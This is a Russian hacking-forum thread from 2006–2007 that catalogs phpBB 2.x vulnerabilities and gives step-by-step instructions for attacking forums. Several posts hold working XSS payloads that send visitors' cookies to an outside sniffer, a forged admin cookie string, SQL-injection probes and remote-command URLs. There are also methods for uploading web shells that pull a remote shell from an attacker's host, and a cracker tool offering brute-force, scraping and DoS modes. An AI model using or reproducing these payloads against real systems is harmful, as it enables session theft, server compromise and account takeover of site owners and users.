Форумы [Обзор уязвимостей phpBB]

Discussion in 'Уязвимости CMS/форумов' started by qBiN, 8 Jan 2006.

  1. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Рассмотрим каждую версию форума по порядку и проанализируем. Будем рассматривать с версии 2.0.4, т.к. версии младше, обсуждать нет смысла.

    phpBB <= 2.0.4
    Цель: просмотр содержимого файлов на сервере
    Описание: Была выпущена в 2002. Данная версия почти не присутствует в сети.
    Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.PHP.
    Exploit: http://milw0rm.com/id.php?id=47

    phpBB <= 2.0.5
    Цель: просмотр hash'a пароля
    Описание: Выпущена в 2002. Также редкая версия.
    Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в при обработке $topic_id. Возможно добавить 2 запрос, тем самым захватить хэш.
    Exploit: http://milw0rm.com/id.php?id=44
    При запуске $remote = shift || 'localhost'; - изменяем на нужный например 255.255.255.255, $uid = shift || 2; - ID нужного нам пользователя. В форумах phpBB ID администратора по умолчанию "2". Затем пишем "perl exp.pl"
    Video: -

    phpBB <= 2.0.6
    Цель: просмотр hash'a пароля
    Описание: Выпущена в 2002. Также редкая версия.
    Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в модуле search.php.
    Exploit: http://milw0rm.com/id.php?id=137
    Запускаем "perl exp.pl <server> <folder> <user_id> <search_id>"
    Где <server> - ip сервера (ip сервера можно узнать так Пуск->Выполнить-> набрать cmd, затем в появивешмся окне набрать "ping test.com"), <folder> - папка где находится сам форум (например если у нас http://123.123.123.123/forum/index.php, вместо <folder> пишем forum), <user_id> <search_id> - ID пользователя.
    Video: http://video.antichat.net/videos/kez/phpbb_206_sql2.rar

    phpBB <= 2.0.8
    Цель: подмена ip
    Описание: так себе
    Описание уязвимости: позволяет подменить ip отправителя на произвольный
    Exploit: http://securityvulns.ru/Gdocument110.html

    phpBB 2.0.10
    Пропустим версии с 7 по 9, т.к. в них присутствует те же уязвимости, что и в phpBB 2.0.10.
    Цель: (1) Выполение произвольных команд.
    Описание: Была выпущена так же в 2002. Данная версия встречается намного чаще, чем младшие. Но реже чем старшие =). Был произведён дефейс сайта phpbb.com, с помощью найденной уязвимости в этой версии.
    Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php.
    Exploit: http://milw0rm.com/id.php?id=647 Запускать "perl exp.pl [*URL] [DIR] [NUM] [CMD]"
    Где [*URL] - урл сайта (например http://www.test.com), [DIR] - директория в которой находится форум(например /forum/ или /forum), [NUM] - номер топика (обязательно существующего), [CMD] - команда которую следует выполнить (например ls -la, справочник всех команд *nix http://forum.antichat.ru/threadnav7345-1-10.html)
    video: -

    Цель: (2) Попадание в админку обходя ограничения.
    Описание: -
    Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.PHP.
    Exploit: В архиве с видео =)
    Video: http://video.antichat.net/videos/wizi/vhackbbshwizi.rar

    phpBB <= 2.0.11
    Цель: Выполение произвольных команд
    Описание: Была выпущена так же в 2002.
    Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php - горе-кодеры плохо запатчили предыдущую багу - фильтрация ковычки обходится как %2527
    Exploit: http://www.site.ru/forum/viewtopic.php?t=2726&highlight=%2527.$poster=%60$var%60.%2527&var=id

    phpBB <= 2.0.12
    Цель: Вход на форум аккаунтом администратора.
    Описание: -
    Описание уязвимости: Для начала нам следует зарегаться на форуме. Затем, войти под своим аккаунтом и если стоит галка "Автоматический вход",то убрать её. Нам нужно отредактировать кукисы (посоветую делать это в опере Tools->Advanced->Cookies),
    вместо
    X - наш ID ,
    а меняем на
    2 - как уже говорилось выше, ID админа
    Exploit: "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
    Video: -

    phpBB <= 2.0.13
    Цель: просмотр hash'a пароля, любого пользователя
    Описание: -
    Описание уязвимости: Уязвимость присутствует в модуле downloads.php. Есть возможность SQL инъекции
    Exploit: http://milw0rm.com/id.php?id=907
    Запускать "perl exp.pl <site> <dir> <id>"
    Где <site> URL сайта <dir> - директория <id> - нужный нам пользователь
    Video: -

    phpBB <= 2.0.15
    Цель: получение Имя,Логина, Пароля от БД.
    Описание: -
    Описание уязвимости: Уязвимость пристутствует в модуле viewtopic.php.
    Exploit: http://milw0rm.com/id.php?id=1080 Запускать "perl exp.pl <server> <dir> <id> \r\n"
    Где <server> - ip сервера, <dir> - директория в которой находится форум <id> номер существующего топика.
    Video: -

    phpBB <= 2.0.16
    Цель: получение hash'a пароля пользователя
    Описание: -
    Описание уязвимости: В данной версии присутствует XSS (Cross Site Scripting более подробно про XSS можно почитать тут http://antichat.ru/txt/xssoverview/ или http://ha.ckers.org/xss.html), которая получить кукисы. Они высылаются на сниффер,
    логи которого можно посмотреть здесь http://antichat.ru/sniff/log.php.
    Exploit:
    Code:
     [*color=#EFEFEF][*url]www.ut[*url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
    Video: -

    phpBB <= 2.0.16
    Цель: 2.0.16 Installation Path Disclosure
    Описание: -
    Описание уязвимости: раскрытие данных
    Exploit: http://someshit.net/showthread.php?t=71
    Video: -

    phpBB <= 2.0.17
    Цель: выполнение произвольных команд на сервере(php-inj)
    Описание: -
    Описание уязвимости: В данной версии присутствует уязвимость в модуле profile.php.
    Exploit: http://rst.void.ru/download/r57phpbb2017.txt Запускать "perl exp.pl <URL> <cmd>"
    Где <URL> - ссылка до форума например http://site.com/phpBB/, <cmd> - нужная команда (о командах читаем тут http://forum.antichat.ru/threadnav7345-1-10.html).
    Video: -

    phpbb <= 2.0.18
    Цель: получение сессии админа
    Описание: XSS в собщении
    Описание уязвимости: требует включеных BB-тэгов или HTML на форуме
    Exploit:
    Code:
    <B C=">" onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)" X="<B "> H A L L O </B>
    Code:
    <B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=null`style='font-size:0; X="<B ">'</B>
    PHP:
    [url]http://www.[url=http://wj.com/style=display:none;background:url(javascript:alert()) ]wj[/url][/url]
    phpBB <= 2.0.18
    Цель: получение hash'a пароля пользователя
    Описание: найдена WJ (White Jordan =)
    Описание уязвимости: В данной версии присутствует XSS.
    Exploit:
    Code:
    [UR*L]http://www.[U*RL=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/*URL][/*URL]
    
    Что бы воспользоваться сплойтом убираем плюсы между символами & и #(например было "&+#40" стало -"&#40")
    Video: -

    phpBB <= 2.0.18
    Цель: подмена ника
    Описание: найдена Dgoing
    Описание уязвимости: подмена ника, обход бана
    Exploit: http://forum.antichat.ru/thread19817.html
    Video: -

    phpbb <= 2.0.19
    Цель: получение сессии админа
    Описание: XSS в собщении
    Описание уязвимости: требует включеных BB-тэгов или HTML на форуме
    Exploit:
    Code:
    <B C='>' onmouseover='alert(document.location="http://antichat.ru"+document.cookie)' X='<B   '> antichat.ru </B>
    PHP:
    [url]http://www.[email=http://wj.com/style=display:none;background:url(javascript:alert()) ]wj[/url][/email]
    phpbb <= 2.0.19
    Цель: получение пароля админа
    Описание: phpBB Style Changer\Viewer MOD SQL injection Exploit
    Описание уязвимости: sql-inj уязвимость в index.php?s=[SQL] позволяет выполнить произвольный запрос в бд
    Exploit: http://milw0rm.com/exploits/1469

    phpbb = 2.0.19
    Цель: DoS форума
    Описание: -
    Описание уязвимости: Уязвимость позволяет забанить всех пользователей на форуме
    Exploit: http://forum.comp-info.ru/showthread.php?threadid=238

    phpbb <= 2.0.19
    Цель: DoS форума
    Описание: Neo Security Team (автор - HaCkZaTaN)
    Описание уязвимости: Сплоит регистрирует неограниченное количество ников или делает через поиск запросы, которые база не может воспринять. Сплойт бессилен там, где надо вводить код (визуальное подтверждение) при регистрации
    Exploit: http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.txt

    phpbb <= 2.0.19
    Цель: получение пароля админа
    Описание: Уязвимость позволяет удаленному пользователю произвести брут-форс атаку.
    Описание уязвимости: Уязвимость существует из-за того, что функция "gen_rand_string()" генерирует угадываемые случайные номера. Удаленный пользователь может изменить пароль к целевой учетной записи с помощью функционала восстановления пароля путем отправки большого количества запросов для подбора Validation ID (не более 1000000 запросов). Для удачной эксплуатации уязвимости злоумышленнику необходимо знать e-mail целевой учетной записи.
    Exploit: http://milw0rm.com/exploits/1382

    phpbb <= 2.0.20
    Цель: DoS форума
    Описание: банит все аккаунты
    Описание уязвимости: по умолчанию в форуме включен бан аккаунта при более 5 неудачных попыток входа
    Exploit: phpBB 2.0.20 Disable Admin or User Account
    Video: -

    phpBB <= 2.0.21
    Цель: компрометация сервера
    Описание: obviously you have no output, but this makes phpbb to be like a http proxy
    Описание уязвимости: а в переводе - phpbb можно использовать как прокси, посылая запрос в удаленном урле аватара; также форум не проверяет контент загружаемых аватарах в EXIF тэгах, туда мона поместить PHP-код и потом какнить приинклудить. Вот.
    Exploit: http://www.securityfocus.com/archive/1/433858

    phpBB <= 2.0.21
    Цель: получение сессии админа
    Описание: XSS нападение и CSRF атака
    Описание уязвимости: 1)Уязвимость существует из-за того, что приложение не проверяет валидность HTTP запроса при отправке сообщений. 2) Уязвимость существует из-за недостаточной обработки входных данных в поле "Message body" в сценарии privmsg.php.
    Exploit: http://www.securitylab.ru/vulnerability/281494.php



    [Shell, Version, Full Path]
    Рассмотренно подробно ниже.

    [Авторы, соавторы]
    NaX[no]rt, qBiN, модераторы раздела "Форумы"

    ************************
    Уважаемые форумчане! Просим в этой теме писать по существу!
    ************************
     
    #1 qBiN, 8 Jan 2006
    Last edited by a moderator: 5 Oct 2007
    20 people like this.
  2. syntacsis

    syntacsis Elder - Старейшина

    Joined:
    14 Nov 2005
    Messages:
    78
    Likes Received:
    31
    Reputations:
    6
    Как узнать версию phpBB и т.п.

    Об этом постоянно спрашивают, создают ненужные новые темы, пользуются неправильными методами вроде CHANGELOG.html. Непонятно, откуда такой интерес к определениям версии и что знание версии даёт, но от нечего делать создал эту темку. Сюда можно будет посылать тех, кто опять надумает это спросить. :)

    Способов вообще несколько для каждой версии. Но тут хватит написать и по одному. (Кстати можно забабахать целый научный труд по определению версий и слабостей phpbb только через просмотр html некоторых страниц форума. :)))

    ========================================

    1)CHANGELOG.html
    Во-первых часто советуют узнать версию так: http://сайт.com/форум/docs/CHANGELOG.html
    Но так никакой версии не узнать. Этот документ (если он есть) показывает только какая версия была, когда форум устанавливали. При обновлениях версии этот CHANGELOG остаётся старым.

    2) phpBB <= 2.0.10
    http://site.ru/forum/index.php?category_rows=aaaa
    http://site.ru/forum/faq.php?faq=aaaa
    http://site.ru/forum/profile.php?mode=viewprofile&u=2&ranksrow=aaaa

    3) Search - phpbb=2.0.20
    А версии можно определить например так:
    2.0.20 Заходим в поиск, вводим любой запрос, жмём подряд несколько раз "поиск. Если поиск заблокировался на несколько секунд (по умолчанию на 15) и сказал вам об этом, то это она и есть. Иначе версия ниже.

    4) phpBB <= 2.0.18
    Если после проверки на 2.0.20 поиск продолжает работать, обращаемся по адресу : http://сайт.com/форум/admin/admin_disallow.php?setmodules=00
    и смотрим результат.
    Форум написал: Fatal error: Call to undefined function…, значит это версия НИЖЕ 2.0.19 В остальных случаях именно она и есть.

    5) XSS-test
    phpBB <= 2.0.18
    Code:
    <B C=">" onmouseover="alert('XSS<= 2.0.18')" X="<B "> H E L O </B>
    phpBB <= 2.0.19
    Code:
    <B C='>' onmouseover='alert("XSS<= 2.0.19")' X='<B '> H E L O </B>

    Конечно, можно и попроще определить версию. Но для новичков этот путь самое то :)))

    ps
    Тут были ещё темы по sql-инъекциям, но тут надо знать префикс, а не версию. Если админ не лох, префиксы наверняка сменены. Самые частые префиксы (если админ лох) phpbb_ и phpbb2_

    ========================================

    pps
    По быстрому определяем, подумал ли админ о защите (версия не важно). Идём: http://сайт.com/форум/admin/admin (второй /admin необязательно). Если в результате форумная страница или ошибка с переадресацией на хостинг, то он ничего особенного на этот счёт не подумал. Если страница со всякими красными предупреждениями, скорее всего стоит мод CTracker или подобные модификации, которые докладывают об атаках (как они их видят) со всеми подробностями. Если открылось новое окно для авторизации - стоит защита админки через .htaccess

    Кстати! Всё что тут написано может изменяться в зависимости от версии и модификаций и отдельных заплаток. Приведены только наиболее вероятные варианты.

    А ещё вот НОВОСТЬ (если интересно)
    Разработчики phpBB обещают 15 мая этого (2006) года выпустить beta-версию форума нового поколения - phpBB 3.0.х (Olympus). Этот форум в действии можно заценить здесь
    А скачать промежуточную версию (2.1.x) можно тут

    Cкрипт распознавания форума by genom
     

    Attached Files:

    #2 syntacsis, 10 May 2006
    Last edited by a moderator: 5 Oct 2007
    2 people like this.
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    Все способы заливки шелла в phpbb форуме

    Всем привет, это снова k1b0rg и он вам расскажет, как же заливать шеллы в "популярном" форуме phpbb.

    *****На заметку:
    Обычно папка cache доступна для записи - в неё удобно грузить шелл.
    Пример: http://www.site.com/phpBB/cache/shell.php



    Всего существует 7 публичных способов залития шелла. Разберем каждый из них по порядку.


    1) через уязвимость highlight. Бага очень старая, но все же встречаеться в инете.
    Суть баги читайте в инете, было выложено.
    Как юзать:
    http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=phpinfo();&highlight='.eval($_GET[cmd]).'
    смотрим чо получилось, если них.., то значит бага пропатчена, если показался phpinfo, дергаем из него, ось сервака и сейф мод, и в зависимости от них, ковыряемся на серваке.
    Вообще мало-мальски шарящие перчики любят инклудить полноценный веб шелл, например
    2.0.10: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%27.include($_GET[cmd]).%27
    или так
    2.0.11: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%2527.include($_GET[cmd]).%2527
    заливаем шелл, трахаем админа...

    Exploit:
    http://milw0rm.com/exploits/1076
    http://milw0rm.com/exploits/1113

    Кароче сами разберетесь..не мне вас учить....едем дальше.


    2) Через стили. (Нужны админские права).
    Суть баги читайте в инете, было выложено.
    как юзать:
    Идем в админскую панель, жмакаем ссылку в Стилях "Создать". Правим правый фрейм.(Я предпочитаю править прям в опере, жмем исходный код, правим страницу, и жмем обновить из кеша.) style_name делаем произвольным. А template_name удаляем дефолтный(subSilver) и вставляем свой
    Code:
    a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/
    
    Мы создали стиль, теперь надо его экспортировать в форум. Жмем ссылку "Экспорт", там будет тока текущий стиль, правим сурс, меняем его на
    Code:
    a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/
    
    В папке /tmp/ появиться файл theme_info.cfg.
    Заходя по ссылке
    http://localhost/phpbb13/admin/admin_styles.php?mode=addnew&sid=(тут_ваша_сессия)&&install_to=../../../../../../../tmp/&kiborg=phpinfo();
    нам покажеться phpinfo();

    Exploit: http://milw0rm.com/exploits/1247


    3) Бага в профайле signature_bbcode_uid (Нужен юзер, с любыми правами).
    Как юзать: Значит регаемся на форуме, заходим в профайл. Правим страницу..
    Code:
    <form action="profile.php" enctype="multipart/form-data" method="post">
    
    меняем на
    Code:
    <form action="profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00" enctype="multipart/form-data" method="post">
    
    В подпись(Signature) суем такую бяку
    Code:
    kibi:`ls`
    
    Вообщем, сначала любое слово, потом двоеточие ,а после него php код. Вставляем, сохраняем, ползем обратно в профайл, и нежно издыхаем, от результатов.

    Бага настока редкая, что просто охренеть.
    Для нее условия
    # 1. PHP 5 < 5.0.5
    # 2. register_globals=On
    # 3. magic_quotes off
    ЭТО ОЧЕНЬ РЕДКОЕ сочетание, поэтому не удивляйтесь, если пахать не будет.

    Exploit: http://milw0rm.com/exploits/1388


    4) После того как "залатали" багу (3), обнаружилось, что залатали, вывод в профайл, а сама бага живая. (Нужны админские права).
    Video: http://video.antichat.ru/file178.html
    Эта бага присутсвует, почти на всех форумах, ее редко где залатали.
    Как юзать:
    Создаем текстовый файл 1.sql суем в него код
    Code:
    UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
    
    ну вместо 2 ставим свой id
    Заходим в админку, жмем востановление базы данных, выбираем файл 1.sql, и со звуком хлопец-хлопца-хоп-ца-ца
    заходим в профайл а наблюдаем phpinfo()
    Напоминаю, после ":" идет любой php код.

    Exploit: http://milw0rm.com/exploits/1661


    5) Загрузка через sql. (Нужны админские права + mysql должна иметь права file_priv='Y'(тоесть фактически root) для OUTFILE)
    Редкий случай, но встречаеться чаще баги (3).
    как юзать:
    Создаем файл 1.sql суем в него код
    Code:
    SELECT '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>' FROM phpbb_users LIMIT 1 INTO OUTFILE '/home/lol/htdocs/forum/shell.php';
    
    В админке востанавливаем через бд этот файл.
    Тут нужно знать полный путь. Как его узнавать, ищите в инете.

    Exploit: руками потыкаете


    6) Загрузка аваторы с php кодом, а затем инклюд.(Нужны права админа)
    Бага тоже очень распространненая, тока почему то ее, мало юзают.
    Создаем файл kiborg.txt, пишем в него
    Code:
    <? 
    $file= fopen('shell.php', 'w'); 
    fwrite($file, '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>');
    fclose($file);
    ?>
    
    Меняем имя файла на kiborg.gif и загружаем его на форум.
    Заходим в профайл убеждаемся что аватора загрузилась и смотрим ее имя с путем, будет примерно следующее
    /images/avatars/49624519384cd7deb.gif
    Создаем файл 1.sql с содержимым
    Code:
    UPDATE phpbb_config SET config_value=CONCAT('english/../../images/avatars/49624519384cd7deb.gif',CHAR(0)) where config_name='default_lang';
    
    Ну если с мозгами все в порядке, то поймете что здесь накалякано. Востанавливаем через бд.
    Ползем по ссылке
    http://localhost/phpbb13/faq.php
    И если вы все сделали правильно, то по адрессу http://localhost/phpbb13/shell.php должен быть ваш шелл.

    Exploit: http://milw0rm.com/exploits/1780


    7) Подмена аваторного пути. Багу нашол ShanKaR. (Нужны права админа)
    Шанкар выпустил свой сплойт, и описал багу. Судя по месагам в инете, народ так не допер, что за бага и как ее едят. Объясняю...
    Как идет загрузка аваторы:
    Code:
    			@copy($tmp_filename, './' . $board_config['avatar_path'] . "/$new_filename");
    			@unlink($tmp_filename);
    
    Он грузит из
    $tmp_filename это типо временное название аваторы, пока ее грузили на сервак.

    $board_config['avatar_path'] - это аваторный путь, по дефолту
    храниться в базе

    $new_filename - сгенерированное новое имя аваторы что-то типо 49624519384cd7deb.gif.

    Суть баги найденной Шанкаром, в том, что мы аватору грузим не в файл который сгенерирует на сам форум, а в произвольный файл. Его мы задаем в $board_config['avatar_path'] (например images/avatars/shell.php). А затем нам, надо отрезать $new_filename, это можно сделать как предложил автор баги, добавив %00, но так будет не всегда работать. Я предлагаю, сделать через БД, CHAR(0). Вы скажете, слышь аффтар, не гитарь, нах нам, даже в php файле, сурс картинки. А дело в том, что в phpbb можно загружать аватору с php кодом. смотри багу (6).
    Как юзать багу:
    Заходим в профайл. Смотрим, чтобы аватору можно было выбрать с компа. Пока оставляем это окно, открываем новое. Заходим в админку. Создаем файл 1.sql с содержимым
    Code:
    UPDATE phpbb_config SET config_value=CONCAT('images/avatars/shell.php',CHAR(0)) where config_name='avatar_path';
    Востанавливаем через бд.
    Возвращаемся к окну с профайлом, выбираем аватору с php кодом, и загружаем. Если все сделали правильно то по адрессу
    http://localhost/phpbb3/images/avatars/shell.php будет ваш шелл. БАГА НИГДЕ НЕ ЗАЛАТАНА. Заплаток нету.

    Exploit: http://milw0rm.com/exploits/2348

    или

    Вот мой сплойт, ему нужно три параметра
    perl sploit.pl http://localhost/phpbb/ 37d2ed379a27ec6ede5978523b792a39 images/avatars/shell.php

    ========================================
    Статья принадлежит мне, т.е. k1b0rg (icq: 768620) любое копирование без моего согласия, чревато для вашего чрева.
     

    Attached Files:

    #3 k1b0rg, 26 Sep 2006
    Last edited by a moderator: 5 Oct 2007
    5 people like this.
  4. Nova

    Nova Green member

    Joined:
    15 Jul 2005
    Messages:
    1,234
    Likes Received:
    417
    Reputations:
    280
    phpBB 3 XSS

    phpBB 3
    Цель: получение Cookies пользователя при помощи XSS
    Описание уязвимости: http://forum.antichat.ru/thread25041.html
     
    _________________________
    #4 Nova, 8 Oct 2006
    Last edited by a moderator: 3 Sep 2008
    2 people like this.
  5. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    1) Хочу понять, как же взламываются форумы phpbb.
    Их можно взломать 5 способами:
    1) Через уязвимость highlight. Дает исполнение команд на сервере. Подробно о баге можно почитать в разделе "Заливка шелла в phpbb"
    2) Получить доступ к аккаунту администратора.
    3) Через уязвимость в профайле signature_bbcode_uid Подробно о баге можно почитать в разделе "Заливка шелла в phpbb"
    4) Взлом через моды.
    5) Взлом через sql инъекцию.

    2) Как получить аккаунт администратора на форуме?
    1) Угадать, украсть, спросить.
    2) XSS - позволяет украсть куки администратора и под ним зайти на форум. В версиях >2.0.19 нельзя войти в админку незная пароля.
    xss для форума phpbb. Почти все найдены White Jordan.

    [c*olor*=#EFE*FEF]w*ww.ut[url=w**ww.s=''style='font-s...t.ru/c*gi-bin/s.jpg*?"docume*nt.co*okie;) ]wj[/UR*L]


    phpbb 2.0.17 Рушиться структура, код надо доработать
    [im*g]http://ww*w.phpbb.com/xx[em*ail]xx@*xx.com[/ema*il]images/p*hplogo.gif[/i*mg]

    [*url]ww*w.uts*assa[/u*rl]'

    [*url=http://www.%*5burl=http://xx.com/style=display:no*ne;backgrou*nd#58;url(javascript:alert()&+#41; %5*dxx*]http://www.<a href="http://xx.com/style=displa...) " target="_*blank*">xx[/url]

    пихаем все эти коды в сообщение, на сниффере ловим куки, подставляем их, и мы админы.

    3) Получение админского аккаунта через багу в куках.
    phpbbmysql_data:a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

    И мы становимся админом (если форум не пропатчен).

    3) Как происходит взлом?
    1) Просмотр версии форума. Она определяется заходом по ссылке http://site.ru/forum/docs/CHANGELOG.html
    Смотрим какая там последняя версия и прибавляем единицу.
    2) Проверку на уязвимость форума к багам highlight, админским кукам, signature_bbcode_uid.
    Если сработало, иди в раздел "Заливка шелла в phpbb". Если не сработало.
    3) Проверяем форум на sql уязвимости.
    Делаем запросы:
    http://site.ru/forum/viewtopic.php?sid=1&topic_id=-1'
    http://site.ru/forum/search.php?search_id=-1'
    http://site.ru/forum/search.php?search_results=-1'
    Если сработало, то добываем хеш админа, расшифровываем.
    4) Если ничего не помогло, теперь надо проверить форум на дырки в модах.
    запросы:
    http://site.ru/forum/language/lang_english/lang_activity.php include
    http://site.ru/forum/admin/addentry.php include
    http://site.ru/forum/m2f/m2f_phpbb204.php include
    http://site.ru/forum/admin/admin_topic_action_logging.php include
    http://site.ru/forum/cal_view_month.php sql
    http://site.ru/forum/auction_offer_view.php sql
    http://site.ru/forum/downloads.php sql
    http://site.ru/forum/alltopics.php sql
    http://site.ru/forum/admin/admin_cash.php include
    http://site.ru/forum/toplist.php sql
    http://site.ru/forum/index.php?s=-1' sql
    http://site.ru/forum/index.php?style=-1' sql
    Запросы для получение привилегий найдете на секьюрити порталах.
    5) Взлом через xss.

    4) Как узнать серверный путь форума?
    http://site.ru/forum/admin/admin_disallow.php?setmodules=00 до 2.0.19
    http://site.ru/forum/profile.php?mode[]=
    http://site.ru/forum/posting.php?mode[]=
    http://site.ru/forum/groupcp.php?mode[]=
    http://site.ru/forum/modcp.php?mode[]=
    http://site.ru/forum/privmsg.php?folder[]=
    http://site.ru/forum/db/oracle.php
    http://site.ru/forum/memberlist.php?mode[]=cx + дает возможно узнать префикс таблиц базы данных

    Пути для форумов <2.0.10
    http://site.ru/forum/index.php?category_rows=aaaa
    http://site.ru/forum/faq.php?faq=aaaa
    http://site.ru/forum/profile.php?mode=viewprofile&u=2&ranksrow=aaaa

    5) Как узнать префикс таблиц базы данных?
    http://site.ru/forum/memberlist.php?mode[]=cx
    http://site.ru/forum/modcp.php?t=-456

    подробно о каждой баге можете почитать здесь
    http://forum.antichat.ru/thread24488.html

    Про залитие шелла в phpbb можете почитать здесь http://forum.antichat.ru/thread32782.html
     
    #5 k1b0rg, 5 Feb 2007
    Last edited by a moderator: 5 Oct 2007
    11 people like this.
  6. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Статьи, имеющие отношение к phpbb

    Различные статьи, имеющие отношение к phpbb:

    Авторизация с cookies - взлом и защита. (by PoizOn)

    XSS, SQL-inj, PHP-inj и др. на примере phpBB

    Поиск PHP уязвимостей на примере phpBB

    Проверь свой phpbb форум на безопасность 2 - скрипт

    ----------------------------------------------------------

    Все сообщения не содержащие информационной ценности или не имеющие прямого отношения к теме удалены.

    ----------------------------------------------------------

    Ещё раз напомню, что в этой теме обзор уязвимостей форума, сообщения не имеющие информационной ценности ("Немогли бы взглянуть на этот форум", "Подскажите версию" и т.д.) будут удаляться.
     
    #6 Grey, 1 Mar 2007
    Last edited by a moderator: 3 Sep 2008
    2 people like this.
  7. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Blind SQL-Injection в phpBB modified v1.8 by Przemo

    Программа: phpBB modified v1.8 by Przemo, возможно более ранние версии.

    Описание:
    Рекомендуется к прочтению статья Elekt http://forum.antichat.ru/thread35207.html
    Уязвимость позволяет удаленному пользователю выполнять произвольные SQL команды на целевой системе.

    Уязвимость существует из-за недостаточной обработки входных данных в параметре "user_agent"
    (при определенных условиях, приведенных в примерах) в сценарии /includes/functions_post.php.
    Удаленный пользователь может с помощью специально сформированного запроса выполнять произвольные
    SQL команды на целевой системе жертвы в контексте безопасности уязвимого сайта.
    Для успешной эксплуатации уязвимости целевой пользователь должен быть залогинен.

    Examples:


    URL производителя: http://www.przemo.org/phpBB2/

    превед: ice1k .)

    (c) p-range :: AltST
     
    5 people like this.
  8. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    k1b0rg phpbb cracker (KaPeC)

    Описание скрипта k1b0rg phpbb cracker v0.5 akka (KaPeC)
    Данный скрипт имеет 3 режима работы, переключаемые опцией (-v)
    1 Скрипт для работы с непосредственно с самим форумом(сканер ошибок, админка и т.д.). Включен по дефолту.
    2 Грабер данные из профайла людей(ник, email). Кол-во задается параметром (-e) или определяется общим числом юзеров на форуме.
    3 Брутер форума. Умеет брутить по известному нику или паролю, а также может проверять на валидность аккаунты из файла.
    4 Легкий ddos.
    5 Автозабаниватель


    Скрипт для работы с форумом (-v1), имеет 4 режима, переключаемые опцией (-g):

    1 - Дефолтный, показывает все пароли юзеров на всех багах.
    2 - Покаывает все хеши юзеров только на одной баге, другие баги показывают, но пароли не вытаскивает.
    3 - В админке заливает шеллы всеми способами.
    4 - В админке заливает шеллы тока одним способом(при залитии одного, останавливается).


    Рассмотрим подробней работу режима (-v1).
    Скрипт имеет встроенный легкий брутер(-b1) на 23 распространнех пароля, вдобавок к этому он еще вытягивает ники заданных юзеров и брутит ими.

    Заложено 6 форумных эксплуатационных уязвимостей и 4 не эксплуатационных узявимости.

    Имеется поддержка проверки на баги, модов форума (-m1). Всего заложено 45 уязвимостей.

    Теперь пройдется по опциям данного скрипта.

    -v - выбор режима всего скрипта (сканер, грабер, брутер, ддосер,автозабаниватель). По умолчанию включен сканер (-v1).
    -u - Url заданного сайта. (только ввиде http://site.ru/forum/). Слеш обязательно должен быть в конце.
    -l - логин юзера.
    -p - пароль юзера.
    -d - При доступе к админке, делает дамп базы данных. По умолчанию выключена (-d0).
    -f - Файл для работы скрипта. В зависимости от режимах работы, скрипт будет вытаскивать из этого файла, необходимые данные.
    -s - название LOG файла, куда будут идти записи. По умолчанию 'log.txt'. Требует включения опции (-L1)
    -L - Перенаправить весь вывод в log файл(-s). По умолчанию выключен.
    -r - Remote shell. По умолчанию здесь находится адресс шелла.
    -R - Remote eval. По умолчанию здесь находится адресс скрипта, выполняющего php код.

    $content - Задается в теле скрипта. Содержимое этой переменной будет залито на аттакуемый сайт. По умолчанию загружается инклуд remote shell.
    my $content='<? @include("'.$remote_site.'"); ?>';

    -b1 - брутер форума.
